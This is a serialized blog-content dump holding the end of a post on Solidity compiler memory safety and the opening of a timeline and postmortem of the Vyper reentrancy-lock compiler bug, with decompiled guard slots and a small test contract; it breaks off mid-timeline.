@src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[28787],{"type":23,"tag":56,"props":28788,"children":28789},{"__ignoreMap":7},[28790,28805],{"type":23,"tag":504,"props":28791,"children":28792},{"class":506,"line":507},[28793,28797,28801],{"type":23,"tag":504,"props":28794,"children":28795},{"style":1106},[28796],{"type":28,"value":28377},{"type":23,"tag":504,"props":28798,"children":28799},{"style":511},[28800],{"type":28,"value":28382},{"type":23,"tag":504,"props":28802,"children":28803},{"style":1106},[28804],{"type":28,"value":28387},{"type":23,"tag":504,"props":28806,"children":28807},{"class":506,"line":540},[28808,28813,28817,28821,28825,28830],{"type":23,"tag":504,"props":28809,"children":28810},{"style":517},[28811],{"type":28,"value":28812},"    mstore",{"type":23,"tag":504,"props":28814,"children":28815},{"style":523},[28816],{"type":28,"value":526},{"type":23,"tag":504,"props":28818,"children":28819},{"style":1440},[28820],{"type":28,"value":28404},{"type":23,"tag":504,"props":28822,"children":28823},{"style":523},[28824],{"type":28,"value":576},{"type":23,"tag":504,"props":28826,"children":28827},{"style":1440},[28828],{"type":28,"value":28829},"128",{"type":23,"tag":504,"props":28831,"children":28832},{"style":523},[28833],{"type":28,"value":1192},{"type":23,"tag":24,"props":28835,"children":28836},{},[28837,28839,28844,28846,28851],{"type":28,"value":28838},"Semantically, the absence of ",{"type":23,"tag":56,"props":28840,"children":28842},{"className":28841},[],[28843],{"type":28,"value":28352},{"type":28,"value":28845}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":56,"props":28847,"children":28849},{"className":28848},[],[28850],{"type":28,"value":28352},{"type":28,"value":28852}," invariant.",{"type":23,"tag":1909,"props":28854,"children":28855},{},[28856],{"type":23,"tag":24,"props":28857,"children":28858},{},[28859,28860,28865,28866,28871,28872,28877],{"type":28,"value":28446},{"type":23,"tag":56,"props":28861,"children":28863},{"className":28862},[],[28864],{"type":28,"value":28452},{"type":28,"value":28454},{"type":23,"tag":56,"props":28867,"children":28869},{"className":28868},[],[28870],{"type":28,"value":28460},{"type":28,"value":28462},{"type":23,"tag":56,"props":28873,"children":28875},{"className":28874},[],[28876],{"type":28,"value":12930},{"type":28,"value":320},{"type":23,"tag":24,"props":28879,"children":28880},{},[28881],{"type":28,"value":28882},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":70,"props":28884,"children":28886},{"id":28885},"undefined-behavior",[28887],{"type":28,"value":28888},"Undefined Behavior",{"type":23,"tag":24,"props":28890,"children":28891},{},[28892,28894,28899,28901,28906,28908,28914],{"type":28,"value":28893},"How strict is memory safety? When it comes to ",{"type":23,"tag":56,"props":28895,"children":28897},{"className":28896},[],[28898],{"type":28,"value":28352},{"type":28,"value":28900},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":56,"props":28902,"children":28904},{"className":28903},[],[28905],{"type":28,"value":28010},{"type":28,"value":28907}," annotated assembly that touches memory at ",{"type":23,"tag":56,"props":28909,"children":28911},{"className":28910},[],[28912],{"type":28,"value":28913},"[0x40, 0x7f]",{"type":28,"value":28915}," really safe?",{"type":23,"tag":24,"props":28917,"children":28918},{},[28919,28920,28927,28929,28934],{"type":28,"value":15592},{"type":23,"tag":92,"props":28921,"children":28924},{"href":28922,"rel":28923},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[96],[28925],{"type":28,"value":28926},"Solidity documentation",{"type":28,"value":28928}," mentions ",{"type":23,"tag":1887,"props":28930,"children":28931},{},[28932],{"type":28,"value":28933},"undefined behavior",{"type":28,"value":28935}," three times.",{"type":23,"tag":41,"props":28937,"children":28938},{},[28939,28944,28959],{"type":23,"tag":45,"props":28940,"children":28941},{},[28942],{"type":28,"value":28943},"The existence of a dangling reference",{"type":23,"tag":45,"props":28945,"children":28946},{},[28947,28949],{"type":28,"value":28948},"Using verbatim improperly",{"type":23,"tag":14454,"props":28950,"children":28951},{},[28952],{"type":23,"tag":92,"props":28953,"children":28957},{"href":28954,"ariaDescribedBy":28955,"dataFootnoteRef":7,"id":28956},"#user-content-fn-2",[14461],"user-content-fnref-2",[28958],{"type":28,"value":2100},{"type":23,"tag":45,"props":28960,"children":28961},{},[28962],{"type":28,"value":28963},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":24,"props":28965,"children":28966},{},[28967],{"type":28,"value":28968},"Why does this matter?",{"type":23,"tag":24,"props":28970,"children":28971},{},[28972,28974,28981,28983,28990],{"type":28,"value":28973},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":92,"props":28975,"children":28978},{"href":28976,"rel":28977},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[96],[28979],{"type":28,"value":28980},"signed integer overflow is undefined",{"type":28,"value":28982},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":92,"props":28984,"children":28987},{"href":28985,"rel":28986},"https://blog.regehr.org/archives/1307",[96],[28988],{"type":28,"value":28989},"years down the line",{"type":28,"value":320},{"type":23,"tag":24,"props":28992,"children":28993},{},[28994,28996,29003,29004,29009],{"type":28,"value":28995},"Going back to Solidity, the specification makes ",{"type":23,"tag":92,"props":28997,"children":29000},{"href":28998,"rel":28999},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[96],[29001],{"type":28,"value":29002},"it unambiguously clear",{"type":28,"value":17512},{"type":23,"tag":1887,"props":29005,"children":29006},{},[29007],{"type":28,"value":29008},"Thou shalt not modify the zero slot",{"type":28,"value":320},{"type":23,"tag":1909,"props":29011,"children":29012},{},[29013],{"type":23,"tag":24,"props":29014,"children":29015},{},[29016],{"type":28,"value":29017},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":24,"props":29019,"children":29020},{},[29021,29023,29028],{"type":28,"value":29022},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":1887,"props":29024,"children":29025},{},[29026],{"type":28,"value":29027},"in Solidity",{"type":28,"value":320},{"type":23,"tag":24,"props":29030,"children":29031},{},[29032],{"type":28,"value":29033},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":41,"props":29035,"children":29036},{},[29037],{"type":23,"tag":45,"props":29038,"children":29039},{},[29040,29042,29049],{"type":28,"value":29041},"It very clearly ",{"type":23,"tag":92,"props":29043,"children":29046},{"href":29044,"rel":29045},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[96],[29047],{"type":28,"value":29048},"holds true today",{"type":28,"value":320},{"type":23,"tag":494,"props":29051,"children":29053},{"className":28091,"code":29052,"language":28093,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[29054],{"type":23,"tag":56,"props":29055,"children":29056},{"__ignoreMap":7},[29057,29097,29104,29117,29189,29210,29261,29268],{"type":23,"tag":504,"props":29058,"children":29059},{"class":506,"line":507},[29060,29064,29069,29074,29078,29083,29088,29093],{"type":23,"tag":504,"props":29061,"children":29062},{"style":511},[29063],{"type":28,"value":28667},{"type":23,"tag":504,"props":29065,"children":29066},{"style":523},[29067],{"type":28,"value":29068}," IRGeneratorForStatements::",{"type":23,"tag":504,"props":29070,"children":29071},{"style":517},[29072],{"type":28,"value":29073},"visit",{"type":23,"tag":504,"props":29075,"children":29076},{"style":523},[29077],{"type":28,"value":526},{"type":23,"tag":504,"props":29079,"children":29080},{"style":1012},[29081],{"type":28,"value":29082},"InlineAssembly",{"type":23,"tag":504,"props":29084,"children":29085},{"style":511},[29086],{"type":28,"value":29087}," const&",{"type":23,"tag":504,"props":29089,"children":29090},{"style":529},[29091],{"type":28,"value":29092}," _inlineAsm",{"type":23,"tag":504,"props":29094,"children":29095},{"style":523},[29096],{"type":28,"value":1192},{"type":23,"tag":504,"props":29098,"children":29099},{"class":506,"line":540},[29100],{"type":23,"tag":504,"props":29101,"children":29102},{"style":523},[29103],{"type":28,"value":9862},{"type":23,"tag":504,"props":29105,"children":29106},{"class":506,"line":555},[29107,29112],{"type":23,"tag":504,"props":29108,"children":29109},{"style":517},[29110],{"type":28,"value":29111},"    setLocation",{"type":23,"tag":504,"props":29113,"children":29114},{"style":523},[29115],{"type":28,"value":29116},"(_inlineAsm);\n",{"type":23,"tag":504,"props":29118,"children":29119},{"class":506,"line":633},[29120,29124,29128,29132,29137,29141,29146,29151,29156,29160,29164,29168,29172,29176,29180,29185],{"type":23,"tag":504,"props":29121,"children":29122},{"style":544},[29123],{"type":28,"value":11261},{"type":23,"tag":504,"props":29125,"children":29126},{"style":523},[29127],{"type":28,"value":801},{"type":23,"tag":504,"props":29129,"children":29130},{"style":598},[29131],{"type":28,"value":3552},{"type":23,"tag":504,"props":29133,"children":29134},{"style":529},[29135],{"type":28,"value":29136},"_inlineAsm",{"type":23,"tag":504,"props":29138,"children":29139},{"style":523},[29140],{"type":28,"value":320},{"type":23,"tag":504,"props":29142,"children":29143},{"style":517},[29144],{"type":28,"value":29145},"annotation",{"type":23,"tag":504,"props":29147,"children":29148},{"style":523},[29149],{"type":28,"value":29150},"().",{"type":23,"tag":504,"props":29152,"children":29153},{"style":529},[29154],{"type":28,"value":29155},"hasMemoryEffects",{"type":23,"tag":504,"props":29157,"children":29158},{"style":598},[29159],{"type":28,"value":13166},{"type":23,"tag":504,"props":29161,"children":29162},{"style":598},[29163],{"type":28,"value":11845},{"type":23,"tag":504,"props":29165,"children":29166},{"style":529},[29167],{"type":28,"value":29136},{"type":23,"tag":504,"props":29169,"children":29170},{"style":523},[29171],{"type":28,"value":320},{"type":23,"tag":504,"props":29173,"children":29174},{"style":517},[29175],{"type":28,"value":29145},{"type":23,"tag":504,"props":29177,"children":29178},{"style":523},[29179],{"type":28,"value":29150},{"type":23,"tag":504,"props":29181,"children":29182},{"style":529},[29183],{"type":28,"value":29184},"markedMemorySafe",{"type":23,"tag":504,"props":29186,"children":29187},{"style":523},[29188],{"type":28,"value":1192},{"type":23,"tag":504,"props":29190,"children":29191},{"class":506,"line":687},[29192,29197,29201,29206],{"type":23,"tag":504,"props":29193,"children":29194},{"style":529},[29195],{"type":28,"value":29196},"        m_context",{"type":23,"tag":504,"props":29198,"children":29199},{"style":523},[29200],{"type":28,"value":320},{"type":23,"tag":504,"props":29202,"children":29203},{"style":517},[29204],{"type":28,"value":29205},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":504,"props":29207,"children":29208},{"style":523},[29209],{"type":28,"value":2647},{"type":23,"tag":504,"props":29211,"children":29212},{"class":506,"line":736},[29213,29218,29222,29226,29231,29236,29240,29244,29248,29252,29257],{"type":23,"tag":504,"props":29214,"children":29215},{"style":523},[29216],{"type":28,"value":29217},"    CopyTranslate bodyCopier{",{"type":23,"tag":504,"props":29219,"children":29220},{"style":529},[29221],{"type":28,"value":29136},{"type":23,"tag":504,"props":29223,"children":29224},{"style":523},[29225],{"type":28,"value":320},{"type":23,"tag":504,"props":29227,"children":29228},{"style":517},[29229],{"type":28,"value":29230},"dialect",{"type":23,"tag":504,"props":29232,"children":29233},{"style":523},[29234],{"type":28,"value":29235},"(), m_context, ",{"type":23,"tag":504,"props":29237,"children":29238},{"style":529},[29239],{"type":28,"value":29136},{"type":23,"tag":504,"props":29241,"children":29242},{"style":523},[29243],{"type":28,"value":320},{"type":23,"tag":504,"props":29245,"children":29246},{"style":517},[29247],{"type":28,"value":29145},{"type":23,"tag":504,"props":29249,"children":29250},{"style":523},[29251],{"type":28,"value":29150},{"type":23,"tag":504,"props":29253,"children":29254},{"style":529},[29255],{"type":28,"value":29256},"externalReferences",{"type":23,"tag":504,"props":29258,"children":29259},{"style":523},[29260],{"type":28,"value":15556},{"type":23,"tag":504,"props":29262,"children":29263},{"class":506,"line":785},[29264],{"type":23,"tag":504,"props":29265,"children":29266},{"emptyLinePlaceholder":16},[29267],{"type":28,"value":1038},{"type":23,"tag":504,"props":29269,"children":29270},{"class":506,"line":813},[29271,29276,29280,29285,29289,29293,29297,29302],{"type":23,"tag":504,"props":29272,"children":29273},{"style":523},[29274],{"type":28,"value":29275},"    yul::Statement modified ",{"type":23,"tag":504,"props":29277,"children":29278},{"style":598},[29279],{"type":28,"value":601},{"type":23,"tag":504,"props":29281,"children":29282},{"style":517},[29283],{"type":28,"value":29284}," bodyCopier",{"type":23,"tag":504,"props":29286,"children":29287},{"style":523},[29288],{"type":28,"value":526},{"type":23,"tag":504,"props":29290,"children":29291},{"style":529},[29292],{"type":28,"value":29136},{"type":23,"tag":504,"props":29294,"children":29295},{"style":523},[29296],{"type":28,"value":320},{"type":23,"tag":504,"props":29298,"children":29299},{"style":517},[29300],{"type":28,"value":29301},"operations",{"type":23,"tag":504,"props":29303,"children":29304},{"style":523},[29305],{"type":28,"value":29306},"());`\n",{"type":23,"tag":41,"props":29308,"children":29309},{"start":540},[29310],{"type":23,"tag":45,"props":29311,"children":29312},{},[29313],{"type":28,"value":29314},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":24,"props":29316,"children":29317},{},[29318],{"type":28,"value":29319},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":70,"props":29321,"children":29322},{"id":4292},[29323],{"type":28,"value":4295},{"type":23,"tag":24,"props":29325,"children":29326},{},[29327],{"type":28,"value":29328},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":24,"props":29330,"children":29331},{},[29332],{"type":28,"value":29333},"It's a promise between YUL generation and optimization.",{"type":23,"tag":17402,"props":29335,"children":29337},{"className":29336,"dataFootnotes":7},[17405],[29338,29343],{"type":23,"tag":70,"props":29339,"children":29341},{"className":29340,"id":14461},[17410],[29342],{"type":28,"value":17413},{"type":23,"tag":41,"props":29344,"children":29345},{},[29346,29380],{"type":23,"tag":45,"props":29347,"children":29349},{"id":29348},"user-content-fn-1",[29350,29352,29357,29359,29365,29367,29372,29374],{"type":28,"value":29351},"As an interesting aside, ",{"type":23,"tag":56,"props":29353,"children":29355},{"className":29354},[],[29356],{"type":28,"value":28352},{"type":28,"value":29358}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":56,"props":29360,"children":29362},{"className":29361},[],[29363],{"type":28,"value":29364},"memory-unsafe",{"type":28,"value":29366}," code can ",{"type":23,"tag":1887,"props":29368,"children":29369},{},[29370],{"type":28,"value":29371},"decrease",{"type":28,"value":29373}," gas consumption, especially in the YUL header. ",{"type":23,"tag":92,"props":29375,"children":29378},{"href":29376,"ariaLabel":17516,"className":29377,"dataFootnoteBackref":7},"#user-content-fnref-1",[17518],[29379],{"type":28,"value":17521},{"type":23,"tag":45,"props":29381,"children":29383},{"id":29382},"user-content-fn-2",[29384,29386,29391,29393],{"type":28,"value":29385},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":1887,"props":29387,"children":29388},{},[29389],{"type":28,"value":29390},"guarantee",{"type":28,"value":29392}," behavior with opaque bytes. ",{"type":23,"tag":92,"props":29394,"children":29397},{"href":29395,"ariaLabel":17536,"className":29396,"dataFootnoteBackref":7},"#user-content-fnref-2",[17518],[29398],{"type":28,"value":17521},{"type":23,"tag":1815,"props":29400,"children":29401},{},[29402],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":29404},[29405,29406,29407,29408,29409,29410,29411],{"id":27996,"depth":540,"text":27999},{"id":28050,"depth":540,"text":28053},{"id":28314,"depth":540,"text":28317},{"id":28045,"depth":540,"text":28538},{"id":28885,"depth":540,"text":28888},{"id":4292,"depth":540,"text":4295},{"id":14461,"depth":540,"text":17413},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":29416,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29417,"description":29418,"author":4702,"image":29419,"date":29421,"isFeatured":16,"onBlogPage":16,"tags":29422,"body":29424,"_type":1838,"_id":30175,"_source":1840,"_file":30176,"_stem":30177,"_extension":1843},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":29420,"height":12604,"width":12604},"/posts/vyper-timeline/header.jpg","2023-08-01",[29423,27991],"vyper",{"type":20,"children":29425,"toc":30166},[29426,29431,29436,29441,29447,29452,29470,29480,29485,29493,29503,29522,29602,29612,29772,29777,29782,29792,29799,29804,29809,29823,29828,29845,29862,29881,29891,29904,29909,29922,29927,29932,29942,29969,29979,30009,30015,30024,30030,30035,30040,30045,30051,30056,30070,30075,30080,30085,30091,30096,30109,30135,30140,30162],{"type":23,"tag":24,"props":29427,"children":29428},{},[29429],{"type":28,"value":29430},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":24,"props":29432,"children":29433},{},[29434],{"type":28,"value":29435},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":24,"props":29437,"children":29438},{},[29439],{"type":28,"value":29440},"Here's how it all happened.",{"type":23,"tag":70,"props":29442,"children":29444},{"id":29443},"timeline",[29445],{"type":28,"value":29446},"Timeline",{"type":23,"tag":24,"props":29448,"children":29449},{},[29450],{"type":28,"value":29451},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":24,"props":29453,"children":29454},{},[29455,29460,29462,29469],{"type":23,"tag":296,"props":29456,"children":29457},{},[29458],{"type":28,"value":29459},"13:10 UTC",{"type":28,"value":29461}," pETH/ETH was ",{"type":23,"tag":92,"props":29463,"children":29466},{"href":29464,"rel":29465},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[96],[29467],{"type":28,"value":29468},"drained of $11M",{"type":28,"value":320},{"type":23,"tag":24,"props":29471,"children":29472},{},[29473,29478],{"type":23,"tag":296,"props":29474,"children":29475},{},[29476],{"type":28,"value":29477},"13:19 UTC",{"type":28,"value":29479}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":24,"props":29481,"children":29482},{},[29483],{"type":28,"value":29484},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":1909,"props":29486,"children":29487},{},[29488],{"type":23,"tag":24,"props":29489,"children":29490},{},[29491],{"type":28,"value":29492},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":24,"props":29494,"children":29495},{},[29496,29501],{"type":23,"tag":296,"props":29497,"children":29498},{},[29499],{"type":28,"value":29500},"14:01 UTC",{"type":28,"value":29502}," A warroom was formed around this comment.",{"type":23,"tag":24,"props":29504,"children":29505},{},[29506,29511,29513,29520],{"type":23,"tag":296,"props":29507,"children":29508},{},[29509],{"type":28,"value":29510},"14:07 UTC",{"type":28,"value":29512}," We decompiled the JPEGd contract ",{"type":23,"tag":92,"props":29514,"children":29517},{"href":29515,"rel":29516},"https://ethervm.io/decompile",[96],[29518],{"type":28,"value":29519},"with our favorite decompiler",{"type":28,"value":29521}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":494,"props":29523,"children":29527},{"className":29524,"code":29525,"language":29526,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[29528],{"type":23,"tag":56,"props":29529,"children":29530},{"__ignoreMap":7},[29531,29539,29547,29555,29563,29570,29578,29586,29594],{"type":23,"tag":504,"props":29532,"children":29533},{"class":506,"line":507},[29534],{"type":23,"tag":504,"props":29535,"children":29536},{},[29537],{"type":28,"value":29538},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":504,"props":29540,"children":29541},{"class":506,"line":540},[29542],{"type":23,"tag":504,"props":29543,"children":29544},{},[29545],{"type":28,"value":29546},"label_0057:\n",{"type":23,"tag":504,"props":29548,"children":29549},{"class":506,"line":555},[29550],{"type":23,"tag":504,"props":29551,"children":29552},{},[29553],{"type":28,"value":29554},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":504,"props":29556,"children":29557},{"class":506,"line":633},[29558],{"type":23,"tag":504,"props":29559,"children":29560},{},[29561],{"type":28,"value":29562},"    storage[0x00] = 0x01;\n",{"type":23,"tag":504,"props":29564,"children":29565},{"class":506,"line":687},[29566],{"type":23,"tag":504,"props":29567,"children":29568},{"emptyLinePlaceholder":16},[29569],{"type":28,"value":1038},{"type":23,"tag":504,"props":29571,"children":29572},{"class":506,"line":736},[29573],{"type":23,"tag":504,"props":29574,"children":29575},{},[29576],{"type":28,"value":29577},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":504,"props":29579,"children":29580},{"class":506,"line":785},[29581],{"type":23,"tag":504,"props":29582,"children":29583},{},[29584],{"type":28,"value":29585},"label_1AF3:\n",{"type":23,"tag":504,"props":29587,"children":29588},{"class":506,"line":813},[29589],{"type":23,"tag":504,"props":29590,"children":29591},{},[29592],{"type":28,"value":29593},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":504,"props":29595,"children":29596},{"class":506,"line":851},[29597],{"type":23,"tag":504,"props":29598,"children":29599},{},[29600],{"type":28,"value":29601},"    storage[0x02] = 0x01;\n",{"type":23,"tag":24,"props":29603,"children":29604},{},[29605,29610],{"type":23,"tag":296,"props":29606,"children":29607},{},[29608],{"type":28,"value":29609},"14:27 UTC",{"type":28,"value":29611}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":494,"props":29613,"children":29615},{"className":18443,"code":29614,"language":18442,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[29616],{"type":23,"tag":56,"props":29617,"children":29618},{"__ignoreMap":7},[29619,29627,29648,29683,29695,29702,29709,29728,29760],{"type":23,"tag":504,"props":29620,"children":29621},{"class":506,"line":507},[29622],{"type":23,"tag":504,"props":29623,"children":29624},{"style":517},[29625],{"type":28,"value":29626},"@external\n",{"type":23,"tag":504,"props":29628,"children":29629},{"class":506,"line":540},[29630,29635,29639,29644],{"type":23,"tag":504,"props":29631,"children":29632},{"style":517},[29633],{"type":28,"value":29634},"@nonreentrant",{"type":23,"tag":504,"props":29636,"children":29637},{"style":523},[29638],{"type":28,"value":526},{"type":23,"tag":504,"props":29640,"children":29641},{"style":622},[29642],{"type":28,"value":29643},"\"lock\"",{"type":23,"tag":504,"props":29645,"children":29646},{"style":523},[29647],{"type":28,"value":1192},{"type":23,"tag":504,"props":29649,"children":29650},{"class":506,"line":555},[29651,29656,29661,29665,29670,29675,29679],{"type":23,"tag":504,"props":29652,"children":29653},{"style":511},[29654],{"type":28,"value":29655},"def",{"type":23,"tag":504,"props":29657,"children":29658},{"style":517},[29659],{"type":28,"value":29660}," test",{"type":23,"tag":504,"props":29662,"children":29663},{"style":523},[29664],{"type":28,"value":526},{"type":23,"tag":504,"props":29666,"children":29667},{"style":529},[29668],{"type":28,"value":29669},"addr",{"type":23,"tag":504,"props":29671,"children":29672},{"style":523},[29673],{"type":28,"value":29674},": address) -> ",{"type":23,"tag":504,"props":29676,"children":29677},{"style":1012},[29678],{"type":28,"value":28667},{"type":23,"tag":504,"props":29680,"children":29681},{"style":523},[29682],{"type":28,"value":4550},{"type":23,"tag":504,"props":29684,"children":29685},{"class":506,"line":633},[29686,29690],{"type":23,"tag":504,"props":29687,"children":29688},{"style":544},[29689],{"type":28,"value":15968},{"type":23,"tag":504,"props":29691,"children":29692},{"style":511},[29693],{"type":28,"value":29694}," True\n",{"type":23,"tag":504,"props":29696,"children":29697},{"class":506,"line":687},[29698],{"type":23,"tag":504,"props":29699,"children":29700},{"emptyLinePlaceholder":16},[29701],{"type":28,"value":1038},{"type":23,"tag":504,"props":29703,"children":29704},{"class":506,"line":736},[29705],{"type":23,"tag":504,"props":29706,"children":29707},{"style":517},[29708],{"type":28,"value":29626},{"type":23,"tag":504,"props":29710,"children":29711},{"class":506,"line":785},[29712,29716,29720,29724],{"type":23,"tag":504,"props":29713,"children":29714},{"style":517},[29715],{"type":28,"value":29634},{"type":23,"tag":504,"props":29717,"children":29718},{"style":523},[29719],{"type":28,"value":526},{"type":23,"tag":504,"props":29721,"children":29722},{"style":622},[29723],{"type":28,"value":29643},{"type":23,"tag":504,"props":29725,"children":29726},{"style":523},[29727],{"type":28,"value":1192},{"type":23,"tag":504,"props":29729,"children":29730},{"class":506,"line":813},[29731,29735,29740,29744,29748,29752,29756],{"type":23,"tag":504,"props":29732,"children":29733},{"style":511},[29734],{"type":28,"value":29655},{"type":23,"tag":504,"props":29736,"children":29737},{"style":517},[29738],{"type":28,"value":29739}," test2",{"type":23,"tag":504,"props":29741,"children":29742},{"style":523},[29743],{"type":28,"value":526},{"type":23,"tag":504,"props":29745,"children":29746},{"style":529},[29747],{"type":28,"value":29669},{"type":23,"tag":504,"props":29749,"children":29750},{"style":523},[29751],{"type":28,"value":29674},{"type":23,"tag":504,"props":29753,"children":29754},{"style":1012},[29755],{"type":28,"value":28667},{"type":23,"tag":504,"props":29757,"children":29758},{"style":523},[29759],{"type":28,"value":4550},{"type":23,"tag":504,"props":29761,"children":29762},{"class":506,"line":851},[29763,29767],{"type":23,"tag":504,"props":29764,"children":29765},{"style":544},[29766],{"type":28,"value":15968},{"type":23,"tag":504,"props":29768,"children":29769},{"style":511},[29770],{"type":28,"value":29771}," False\n",{"type":23,"tag":24,"props":29773,"children":29774},{},[29775],{"type":28,"value":29776},"This was not just another reentrancy bug.",{"type":23,"tag":24,"props":29778,"children":29779},{},[29780],{"type":28,"value":29781},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":24,"props":29783,"children":29784},{},[29785,29790],{"type":23,"tag":296,"props":29786,"children":29787},{},[29788],{"type":28,"value":29789},"14:37 UTC",{"type":28,"value":29791}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":24,"props":29793,"children":29794},{},[29795],{"type":23,"tag":126,"props":29796,"children":29798},{"alt":7,"src":29797},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":24,"props":29800,"children":29801},{},[29802],{"type":28,"value":29803},"It was a race with the hackers.",{"type":23,"tag":24,"props":29805,"children":29806},{},[29807],{"type":28,"value":29808},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":1909,"props":29810,"children":29811},{},[29812],{"type":23,"tag":24,"props":29813,"children":29814},{},[29815,29817],{"type":28,"value":29816},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":92,"props":29818,"children":29821},{"href":29819,"rel":29820},"https://twitter.com/hexagate_/status/1685677801813217280",[96],[29822],{"type":28,"value":29819},{"type":23,"tag":24,"props":29824,"children":29825},{},[29826],{"type":28,"value":29827},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":24,"props":29829,"children":29830},{},[29831,29836,29837,29844],{"type":23,"tag":296,"props":29832,"children":29833},{},[29834],{"type":28,"value":29835},"14:50 UTC",{"type":28,"value":5441},{"type":23,"tag":92,"props":29838,"children":29841},{"href":29839,"rel":29840},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[96],[29842],{"type":28,"value":29843},"msETH/ETH was drained",{"type":28,"value":320},{"type":23,"tag":24,"props":29846,"children":29847},{},[29848,29853,29854,29861],{"type":23,"tag":296,"props":29849,"children":29850},{},[29851],{"type":28,"value":29852},"15:34 UTC",{"type":28,"value":5441},{"type":23,"tag":92,"props":29855,"children":29858},{"href":29856,"rel":29857},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[96],[29859],{"type":28,"value":29860},"alETH/ETH was drained",{"type":28,"value":320},{"type":23,"tag":24,"props":29863,"children":29864},{},[29865,29870,29872,29879],{"type":23,"tag":296,"props":29866,"children":29867},{},[29868],{"type":28,"value":29869},"15:43 UTC",{"type":28,"value":29871}," We identified that 